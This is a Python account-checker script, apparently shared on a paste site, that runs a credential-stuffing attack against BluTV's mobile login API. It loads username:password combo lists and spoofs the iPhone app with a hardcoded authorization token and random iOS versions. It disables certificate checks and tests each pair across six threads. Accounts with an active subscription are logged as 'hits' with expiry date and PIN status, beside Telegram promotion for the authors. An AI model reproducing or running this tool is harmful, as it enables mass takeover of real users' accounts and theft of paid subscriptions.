Hata

 avatar
unknown
python
3 years ago
11 kB
25
Indexable
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS="TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-256-GCM-SHA384:ECDHE:!COMP"
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
ses=requests.session()

def data(user,pas):
	veri={"password":pas,"username":user}
	try:
		if feyz0=="":
			veri={"password":'pas',"username":'user'}
	except:
		veri={"password":'pas',"username":'user'}
	return veri
import uuid

 
def Hea(user,pas):
	Hes={
"Host":"adapter.blupoint.io", 
"DeviceName":"iPhone", 
"Authorization":"Basic 5d36e6c40780020024687002:cE8vwiQrAULRGZ6ZqqXgtztqFgWRU7o6", 
"Accept":"*/*", 
"AppVersion":"6.9.2", 
"CaptchaToken":"", 
"Accept-Language":"tr-TR", 
"DeviceResolution":"1920x1080", 
"Cache-Control":"no-cache", 
"DeviceId":str(uuid.uuid4()), 
"User-Agent":"BluTV/6.9.2 (com.dsmart.D-Smart-BLU-iPhone; build:1; iOS "+ver()+") Alamofire/5.4.4",
"Content-Length":str(len('{'+str(data(user,pas))+'}')), 
"Connection":"keep-alive", 
"AppPlatform":"com.blu.phone.iphone", 
"Content-Type":"application/json", 
"AuthorizationToken":"", 
	}
	return Hes
import random
def ver():
	veri=(
"11.0.1", 
"11.0.2", 
"11.0.3", 
"11.1.1", 
"11.1.2", 
"11.2.1", 
"11.2.2", 
"11.2.5", 
"11.2.6", 
"11.3.1", 
"11.4.1", 
"12.0.1", 
"12.1.1", 
"12.1.2", 
"12.1.3", 
"12.1.4", 
"12.3.1", 
"12.4.1", 
"12.4.2", 
"12.4.3", 
"12.4.4", 
"12.4.5", 
"12.4.6", 
"12.4.7", 
"12.4.8", 
"12.4.9", 
"12.5.1", 
"12.5.2", 
"12.5.3", 
"12.5.4", 
"12.5.5", 
"13.1.1", 
"13.1.2", 
"13.1.3", 
"13.2.2", 
"13.2.3", 
"13.3.1", 
"13.4.1", 
"13.5.1", 
"13.6.1", 
"14.0.1", 
"14.4.1", 
"14.4.2", 
"14.5.1", 
"14.7.1", 
"15.0.1", 
"15.0.2", 
"15.2.1", 
"15.3.1",
)
	veri=str(veri[random.randint(1,48)])
	return veri
	
	
import logging
logging.captureWarnings(True)


url="https://adapter.blupoint.io/api/projects/5d2dc68a92f3636930ba6466/mobile/login?key=GdMUoXLZmhWGE60APBOF_A&expires=1642535526"
import os
def hit(user,pas,pins,enddate):
	veri="""
╭────➢ 𝗕𝗹𝘂 𝗧𝗩 𝗣𝗬 𝗖𝗼𝗻𝗳𝗶𝗴  
├──◉ 𝚄𝚜𝚎𝚛𝙽𝚊𝚖𝚎➢ """+user+"""
├──◉ 𝙿𝚊𝚜𝚜𝚆𝚘𝚛𝚍➢ """+pas+"""
├────◉ 𝗛𝗶𝘁𝘀 ʙʏ 🅵🅴🆈🆉🅾️  
├─◉ 𝐄𝐧𝐝𝐃𝐚𝐭𝐞➢ """+str(enddate)+"""
╰──◉𝐏𝐢𝐧𝐊𝐨𝐧𝐭𝐫𝐨𝐥➢"""+pins+"""
https://t.me/+UATUn7Y0lHw5MGFh
	"""
	yaz(veri)
	print(veri)
	
hitsdir='/sdcard/Hits/'
if not os.path.exists(hitsdir):
    os.mkdir(hitsdir)
def yaz(veri):
	dosya=open(hitsdir+'BluTv_Hit@feyzo.txt','a+')
	dosya.write(veri)
	dosya.close()
    
import json
def temizle():
    os.system('clear')
    
feyzo=("""
\33[0m⭐️ \33[1;93;36m 𝗕𝗹𝘂 𝗧𝗩  𝗣𝗬 𝗖𝗼𝗻𝗳𝗶𝗴    ✩✩ ᴄᴏɴғɪɢ ✩✩ \33[0m ⭐️  \33[33m                 
╔══════════════════════════════════        
║████  ████ ██ ░░ ██ ██████ ░ ████ ░░░         
║██ ░░ ██ ░░ ██  ██ ░░░░ ██ ░██ ░ ██ ░░        
║████  ████ ░ ████ ░░░ ██ ░ ██ ░░░ ██ ░     
║██ ░░ ██ ░░░░ ██ ░░ ██ ░░░░ ██ ░ ██ ░░      
║██ ░░ ████ ░░ ██ ░░ ██████ ░ ████ ░░░        
╚══════════════════════════════════                   
\33[0m⭐️ \33[1;93;36m 𝗕𝗹𝘂 𝗧𝗩  𝗣𝗬 𝗖𝗼𝗻𝗳𝗶𝗴    ✩✩ ᴄᴏɴғɪɢ ✩✩ \33[0m ⭐️  

Telegram Address 𝗫 𝗗𝗲𝗲𝗽 𝗚𝗿𝘂𝗽 

🅵🅴🆈🆉🅾️ .       https://t.me/FeyzullahK
☻EFRAİM_OĞUZ☻ .. https://t.me/Karameke

""")
print(feyzo) 
try:
	if feyz0=="":
		quit()
except:
	quit()
h=input("Press Enter")
import time,datetime
bugun=(int(time.time()))
bitism= int(1646249400)
if bugun >=bitism:
	temizle()
	print(feyzo)
	print("ZAMAN AŞIMI - X Deep Grup")
	#quit()
	print(datetime.datetime.fromtimestamp(int(bitism)).strftime('%d-%m-%Y %H:%M:%S'))
	quit()
say=0
dsy=""


dir='/sdcard/combo/'
if not os.path.exists(dir):
    os.mkdir(dir)
for files in os.listdir (dir):
 	say=say+1
 	dsy=dsy+str(say)+"=⫸ "+files+'\n'
print ("""Combo Files,Select Number
Aşağıdaki listeden combonuzu seçin!!!

"""+dsy+"""
\33[33mCombo klasörünüzde """ +str(say)+""" adet dosya bulundu !
	""")
dsyno=str(input(" \33[31mCombo No =\33[0m"))
say=0

for files in os.listdir (dir):
	 say=say+1
	 if dsyno==str(say):
	 	dosya=(dir+files)
	 	break
say=0
try:
	 if not dosya=="":
	 	print(dosya)
	 else:
	 		temizle()
	 		print("Hatalı combo dosya seçimi...!")
	 		quit()
except:
	temizle()
	print("Hatalı combo dosya seçimi...!")
	quit()
c=open(dosya, 'r')
totLen=c.readlines()
uz=(len(totLen))

def Hit(user,pas,veri):
	say=0
	pin=""
	for i in veri.split('has_pin":'):
			if not say ==0:
				if pin =="":
					pin=pin+(i.split(',')[0])
				else:
					pin=pin+'/'+(i.split(',')[0])
			say=say+1
	pins=""
	pins=(pin.upper().replace('TRUE','PinVar').replace('FALSE','PinYok'))
	enddate=veri.split('subscriptionExpireDate":"')[1].split('"')[0]
	hit(user,pas,pins,enddate)
	
	
cpm=0
cpmx=0
import time
def echo(user,pas,hits,total,oran):
	global cpm
	cpmx=(time.time()-cpm)
	cpmx=(round(60/cpmx))
	if str(cpmx)=="0":
		cpm=cpm
	else:
		cpm=cpmx
	echox="""
╭─➢ \33[1;36m⭐️𝗕𝗹𝘂 𝗧𝗩  𝗣𝗬 𝗖𝗼𝗻𝗳𝗶𝗴⭐️\33[0m🅵🅴🆈🆉🅾️  
├◉ \33[1;7;97m➢ """+str(user)+""":"""+str(pas)+""" \33[0m
├───◉ \33[1;33mHit➢"""+str(hits)+"""  \33[31m➢%"""+str(oran)+""" \33[0m """+str(time.strftime("%H:%M:%S"))+"""
╰─────◉ Total➢"""+str(total)+"""  Cpm➢"""+str(cpm)+"""  """

	print(echox)
	cpm=time.time()
total=0
hits=0

def c1():
	global hits
	for feyzo in range(0,uz,6):
		total=feyzo
		oran=round(((total)/(uz)*100),2)
		up=totLen[feyzo].split(' ')[0]
		mp=up.replace("\n","")
		if mp =="":
				continue
		mp=mp.split(' | ')[0]
		user=mp.split(':')[0]
		try:
			pas=mp.split(':')[1]
		except:
			pas='123456'
		echo(user,pas,hits,total,oran)
		ses=requests.session()
		while True:
			try:
				res = ses.post(url, data=json.dumps(data(user,pas)),headers=Hea(user,pas), timeout=15, verify=False)
				veri=str(res.text)
				if not '"code":"errors.validationError","message":"errors.validationError"' in veri:
					break
			except:
				print(res.status_code)
		res.close
		ses.close
		if '","subscriptionStatus":"active"' in veri:
			hits=hits+1
			Hit(user,pas,veri)
			
def c2():
	global hits
	for feyzo in range(1,uz,6):
		total=feyzo
		oran=round(((total)/(uz)*100),2)
		up=totLen[feyzo].split(' ')[0]
		mp=up.replace("\n","")
		if mp =="":
				continue
		mp=mp.split(' | ')[0]
		user=mp.split(':')[0]
		try:
			pas=mp.split(':')[1]
		except:
			pas='123456'
		echo(user,pas,hits,total,oran)
		ses=requests.session()
		while True:
			try:
				res = ses.post(url, data=json.dumps(data(user,pas)),headers=Hea(user,pas), timeout=15, verify=False)
				veri=str(res.text)
				if not '"code":"errors.validationError","message":"errors.validationError"' in veri:
					break
			except:
				print(res.status_code)
		res.close
		ses.close
		if '","subscriptionStatus":"active"' in veri:
			hits=hits+1
			Hit(user,pas,veri)
			
def c3():
	global hits
	for feyzo in range(2,uz,6):
		total=feyzo
		oran=round(((total)/(uz)*100),2)
		up=totLen[feyzo].split(' ')[0]
		mp=up.replace("\n","")
		if mp =="":
				continue
		mp=mp.split(' | ')[0]
		user=mp.split(':')[0]
		try:
			pas=mp.split(':')[1]
		except:
			pas='123456'
		echo(user,pas,hits,total,oran)
		ses=requests.session()
		while True:
			try:
				res = ses.post(url, data=json.dumps(data(user,pas)),headers=Hea(user,pas), timeout=15, verify=False)
				veri=str(res.text)
				if not '"code":"errors.validationError","message":"errors.validationError"' in veri:
					break
			except:
				print(res.status_code)
		res.close
		ses.close
		if '","subscriptionStatus":"active"' in veri:
			hits=hits+1
			Hit(user,pas,veri)
			
									
def c4():
	global hits
	for feyzo in range(3,uz,6):
		total=feyzo
		oran=round(((total)/(uz)*100),2)
		up=totLen[feyzo].split(' ')[0]
		mp=up.replace("\n","")
		if mp =="":
				continue
		mp=mp.split(' | ')[0]
		user=mp.split(':')[0]
		try:
			pas=mp.split(':')[1]
		except:
			pas='123456'
		echo(user,pas,hits,total,oran)
		ses=requests.session()
		while True:
			try:
				res = ses.post(url, data=json.dumps(data(user,pas)),headers=Hea(user,pas), timeout=15, verify=False)
				veri=str(res.text)
				if not '"code":"errors.validationError","message":"errors.validationError"' in veri:
					break
			except:
				print(res.status_code)
		res.close
		ses.close
		if '","subscriptionStatus":"active"' in veri:
			hits=hits+1
			Hit(user,pas,veri)
			
def c5():
	global hits
	for feyzo in range(4,uz,6):
		total=feyzo
		oran=round(((total)/(uz)*100),2)
		up=totLen[feyzo].split(' ')[0]
		mp=up.replace("\n","")
		if mp =="":
				continue
		mp=mp.split(' | ')[0]
		user=mp.split(':')[0]
		try:
			pas=mp.split(':')[1]
		except:
			pas='123456'
		echo(user,pas,hits,total,oran)
		ses=requests.session()
		while True:
			try:
				res = ses.post(url, data=json.dumps(data(user,pas)),headers=Hea(user,pas), timeout=15, verify=False)
				veri=str(res.text)
				if not '"code":"errors.validationError","message":"errors.validationError"' in veri:
					break
			except:
				print(res.status_code)
		res.close
		ses.close
		if '","subscriptionStatus":"active"' in veri:
			hits=hits+1
			Hit(user,pas,veri)


def c6():
	global hits
	for feyzo in range(5,uz,6):
		total=feyzo
		oran=round(((total)/(uz)*100),2)
		up=totLen[feyzo].split(' ')[0]
		mp=up.replace("\n","")
		if mp =="":
				continue
		mp=mp.split(' | ')[0]
		user=mp.split(':')[0]
		try:
			pas=mp.split(':')[1]
		except:
			pas='123456'
		echo(user,pas,hits,total,oran)
		ses=requests.session()
		while True:
			try:
				res = ses.post(url, data=json.dumps(data(user,pas)),headers=Hea(user,pas), timeout=15, verify=False)
				veri=str(res.text)
				if not '"code":"errors.validationError","message":"errors.validationError"' in veri:
					break
			except:
				print(res.status_code)
		res.close
		ses.close
		if '","subscriptionStatus":"active"' in veri:
			hits=hits+1
			Hit(user,pas,veri)
								
												
import threading

a1 = threading.Thread(target=c1)	
a2 = threading.Thread(target=c2)
a3= threading.Thread(target=c3)
a4= threading.Thread(target=c4)
a5= threading.Thread(target=c5)
a6= threading.Thread(target=c6)
a1.start()
a2.start()
a3.start()
a4.start()
a5.start()
a6.start()